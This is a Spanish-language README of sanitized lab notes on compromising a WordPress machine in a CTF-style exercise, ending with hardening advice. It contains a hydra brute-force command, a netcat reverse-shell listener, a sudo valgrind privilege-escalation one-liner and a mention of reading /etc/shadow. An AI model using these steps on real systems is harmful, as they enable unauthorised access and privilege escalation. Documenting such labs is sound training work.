Aviso importante Este repositorio contiene notas educativas sobre un laboratorio WordPress. Se han eliminado o reemplazado todos los datos sensibles (IP, credenciales, claves privadas). Este material es solo para aprendizaje en entornos controlados. No realices pruebas contra sistemas reales sin autorización por escrito.
Laboratorio orientado a aprendizaje práctico de: reconocimiento, enumeración web, análisis de autenticación, subida controlada de un plugin (reverse shell) en un entorno de prueba, post-explotación y escalada de privilegios.
- Reconocimiento y enumeración: nmap, WhatWeb, Gobuster
- Interacción HTTP: curl
- Fuerza bruta (documentado): hydra (no ejecutar sin permiso)
- Transferencias y shells: wget, scp/sftp, netcat (nc), scripts de reverse shell
- Análisis local y monitoreo: cat, strings, exiftool, pspy
- Escalada/depuración: valgrind (uso demostrativo en laboratorio)
-
Detectado servicio WordPress en
/wordpress/. -
Nmap: puertos típicos abiertos (
22/tcpSSH,80/tcpHTTP - Apache). -
Uso de WhatWeb para identificar servidor/versión y Gobuster para listar rutas comunes:
/wordpress,/wp-admin,/wp-content,/wp-includes,/wp-signup.php
- Comprobación con
curl -Iy pruebas POST para observar respuestas de login. - Ejemplo para probar credenciales incorrectas y analizar la respuesta:
curl -X POST http://TARGET/wordpress/wp-login.php \
-d "log=admin&pwd=wrongpass&wp-submit=Login" -L -v -c cookies_fail.txt-
Se analizan:
- Texto HTML (mensajes de error o bienvenida)
- Headers HTTP (ej.
Locationen caso de redirección) - Cookies establecidas tras el intento de login
- Técnica: identificar patrón de éxito/fracaso y usar herramientas para automatizar (ej.
hydra). - Ejemplo documentado para estudio (no ejecutar sin autorización):
hydra -l admin -P /path/to/wordlist TARGET \
http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Login:F=login_error"- En el laboratorio se obtuvieron credenciales válidas (estas credenciales han sido sanitizadas en este repositorio).
- Se creó un plugin ZIP con una reverse shell (uso únicamente en el laboratorio).
- Subida mediante el panel de administración y activación controlada.
- Confirmación de conexión inversa (en la máquina atacante):
nc -lvnp 4444
# esperar la conexión reversa desde el objetivo- Resultado: shell con el usuario
www-data(permisos limitados, no root).
- Desde
www-datase buscaron archivos de interés y configuraciones:
find / -user father 2>/dev/null
# leer archivos relevantes con precaución y según reglas del laboratorio- Lectura de
wp-config.phpy otros ficheros: todos los valores sensibles han sido reemplazados por[REDACTED].
- Enumeración de binarios SUID y revisado
sudo -lpara usuarios locales. - Hallazgo: el usuario
motherpodía ejecutar/usr/bin/valgrindcomobabysin contraseña (NOPASSWD). - Técnica usada (demostrativa):
sudo -u baby /usr/bin/valgrind /bin/bash- Resultado: shell como
baby, acceso a/home/babyy lectura deuser.txt(ejemplo:Chilatyfile). - Observación: se consultó
/etc/shadowen pruebas; los hashes se han removido de este documento.
- Se detectaron procesos de monitoreo/cron que ejecutaban scripts (ej.
python /home/mother/check.py). - Se documentó la existencia de un script
check.pycuyo contenido con direcciones reales fue removido por seguridad. - Claves privadas encontradas en laboratorio fueron eliminadas de estas notas y no se publican.
- Validar uploads: impedir subida arbitraria de plugins y validar tipos y contenido antes de almacenar/activar.
- Revisar
sudoers: evitar reglasNOPASSWDinnecesarias que permitan escalada lateral. - Remover metadatos: limpiar EXIF y metadatos en imágenes y ficheros públicos.
- Monitorización: usar herramientas de detección de procesos y monitoreo de integridad (pspy, osquery, IDS).
- Backups y separación de entornos: mantener entornos de prueba separados de producción y backups cifrados.
- Todas las IPs, dominios, credenciales, claves privadas y datos sensibles han sido reemplazados por
[REDACTED]. - No se incluyen claves privadas ni contraseñas reales en este repositorio.
- Las flags pequeñas (
user.txt) pueden mantenerse como ejemplos didácticos solo si no comprometen seguridad real.
git init
git add .
git commit -m "Add sanitized Family Lab notes"
# crear repo remoto con gh CLI o por la web, luego:
git remote add origin git@github.com:<tu-usuario>/family-lab.git
git branch -M main
git push -u origin mainSi quieres, puedo:
- Generar una versión en inglés simple para tu web.
- Añadir badges (fecha, nivel, licencia) al README.
- Preparar un
CHANGELOG.mdy unLICENSE(MIT) listo para incluir. ¿Cuál prefieres que haga ahora?